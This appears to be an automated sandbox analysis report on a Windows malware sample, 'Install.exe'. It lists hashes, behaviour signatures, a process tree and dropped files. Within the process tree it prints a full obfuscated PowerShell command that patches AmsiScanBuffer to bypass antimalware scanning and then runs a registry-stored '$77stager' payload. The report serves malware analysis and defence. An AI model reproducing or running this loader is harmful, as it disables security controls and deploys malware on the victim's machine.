Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/07/2024, 12:44

General

  • Target

    Install.exe

  • Size

    163KB

  • MD5

    1a7d1b5d24ba30c4d3d5502295ab5e89

  • SHA1

    2d5e69cf335605ba0a61f0bbecbea6fc06a42563

  • SHA256

    b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

  • SHA512

    859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

  • SSDEEP

    3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 19 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:636
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:376
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{d89524a6-7ba2-4792-b676-c723d84b8937}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4968
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:700
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:964
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:396
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:908
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1092
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1104
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1176
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:3144
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:MCfqgbTMNlHz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AkGsxEOrcOEwQB,[Parameter(Position=1)][Type]$InenANZqCf)$HyAbUPxNdkD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+'t'+'e'+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+[Char](109)+''+'o'+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'eTy'+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+'as'+[Char](115)+''+','+'Pu'+'b'+''+[Char](108)+''+[Char](105)+'c'+','+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+'e'+'d'+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+'o'+'C'+'l'+''+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$HyAbUPxNdkD.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'pe'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$AkGsxEOrcOEwQB).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$HyAbUPxNdkD.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+'eB'+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+'Vi'+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+'',$InenANZqCf,$AkGsxEOrcOEwQB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $HyAbUPxNdkD.CreateType();}$zHMsLQIbpjxfO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+'i'+'c'+''+'r'+''+[Char](111)+'s'+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+'i'+'n'+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+'i'+''+'v'+'eM'+[Char](101)+'tho'+[Char](100)+'s');$ErDugoWelGibYm=$zHMsLQIbpjxfO.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+'A'+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IzbMIAbWApPVWIZSaoe=MCfqgbTMNlHz @([String])([IntPtr]);$HaZxXtevfNoCUrHOZmGmkL=MCfqgbTMNlHz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YQWbFjcLoDg=$zHMsLQIbpjxfO.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VyDZwnIZhEVglu=$ErDugoWelGibYm.Invoke($Null,@([Object]$YQWbFjcLoDg,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+'ra'+'r'+''+[Char](121)+'A')));$DnoZxQsPOdXwvjPYv=$ErDugoWelGibYm.Invoke($Null,@([Object]$YQWbFjcLoDg,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+'t'+'')));$BsCuvRA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VyDZwnIZhEVglu,$IzbMIAbWApPVWIZSaoe).Invoke(''+[Char](97)+'m'+[Char](115)+'i.'+[Char](100)+''+'l'+'l');$jSkVtvwTRbeyGiwxS=$ErDugoWelGibYm.Invoke($Null,@([Object]$BsCuvRA,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+'a'+''+[Char](110)+''+'B'+''+'u'+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$rRGOBDXARd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DnoZxQsPOdXwvjPYv,$HaZxXtevfNoCUrHOZmGmkL).Invoke($jSkVtvwTRbeyGiwxS,[uint32]8,4,[ref]$rRGOBDXARd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jSkVtvwTRbeyGiwxS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DnoZxQsPOdXwvjPYv,$HaZxXtevfNoCUrHOZmGmkL).Invoke($jSkVtvwTRbeyGiwxS,[uint32]8,0x20,[ref]$rRGOBDXARd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4840
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1196
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1268
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1276
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1316
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1436
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1460
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:3016
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1488
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1504
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1632
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1692
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1704
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1792
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                              1⤵
                                                PID:1808
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1916
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1924
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1960
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1976
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2084
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2180
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2224
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2316
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2396
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2404
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  • Modifies data under HKEY_USERS
                                                                  PID:2588
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2656
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2680
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2688
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                        • Enumerates connected drives
                                                                        PID:2760
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:2964
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:384
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3216
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3392
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3452
                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                  2⤵
                                                                                    PID:2876
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3588
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3784
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4000
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:4112
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                          1⤵
                                                                                            PID:4556
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:3664
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:4920
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                  PID:2436
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1036
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:576
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:4780
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:2004
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:3800
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4272
                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                            1⤵
                                                                                                              PID:4264
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:4728
                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Modifies registry class
                                                                                                                PID:1996
                                                                                                              • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                C:\Windows\System32\WaaSMedicAgent.exe 8076d330d8f9c2b6ee373858b5db4c28 lWFL39VlkEywS6D2ijIUVg.0.1.0.0.0
                                                                                                                1⤵
                                                                                                                • Sets service image path in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:1680
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  2⤵
                                                                                                                    PID:3616
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:928
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Writes to the Master Boot Record (MBR)
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:4240
                                                                                                                • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  PID:1384
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                  1⤵
                                                                                                                    PID:2816
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:2380
                                                                                                                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    PID:4932
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                    1⤵
                                                                                                                      PID:1532
                                                                                                                    • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                      1⤵
                                                                                                                        PID:4188

                                                                                                                      Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      • C:\Windows\Logs\CBS\CBS.log

                                                                                                                        Filesize

                                                                                                                        1KB

                                                                                                                        MD5

                                                                                                                        dcaf52214f3fa5eacd34849fa8fca8c0

                                                                                                                        SHA1

                                                                                                                        1035f447bb72722eea4f7d9bbb689cd11b9a6edd

                                                                                                                        SHA256

                                                                                                                        24d1ea52282245c6a8683bf56cddb2a67ff9ce51311e0a22f9960a0a6497bdf1

                                                                                                                        SHA512

                                                                                                                        738837523ca0b148c1fd8c4baf7194862ccc766f809a8f0541c2dab0e7ef82c2b3743eb314b7eed08b4dc0279e27f80696ca7294553f089fde9b0842fa7c7dc6

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                        SHA1

                                                                                                                        98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                        SHA256

                                                                                                                        ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                        SHA512

                                                                                                                        c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        f313c5b4f95605026428425586317353

                                                                                                                        SHA1

                                                                                                                        06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                        SHA256

                                                                                                                        129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                        SHA512

                                                                                                                        b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                        SHA1

                                                                                                                        a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                        SHA256

                                                                                                                        98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                        SHA512

                                                                                                                        1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                        SHA1

                                                                                                                        63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                        SHA256

                                                                                                                        727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                        SHA512

                                                                                                                        f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                        SHA1

                                                                                                                        5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                        SHA256

                                                                                                                        55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                        SHA512

                                                                                                                        5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        0b990e24f1e839462c0ac35fef1d119e

                                                                                                                        SHA1

                                                                                                                        9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                        SHA256

                                                                                                                        a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                        SHA512

                                                                                                                        c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                      • C:\Windows\Temp\__PSScriptPolicyTest_1eykunzz.xwz.ps1

                                                                                                                        Filesize

                                                                                                                        60B

                                                                                                                        MD5

                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                        SHA1

                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                        SHA256

                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                        SHA512

                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                      • memory/376-87-0x00007FFB89C30000-0x00007FFB89C40000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/376-850-0x0000026A117A0000-0x0000026A117C5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/376-214-0x0000026A117A0000-0x0000026A117C5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/376-78-0x0000026A117D0000-0x0000026A117FB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/376-86-0x0000026A117D0000-0x0000026A117FB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/396-215-0x0000019F588B0000-0x0000019F588D5000-memory.dmp

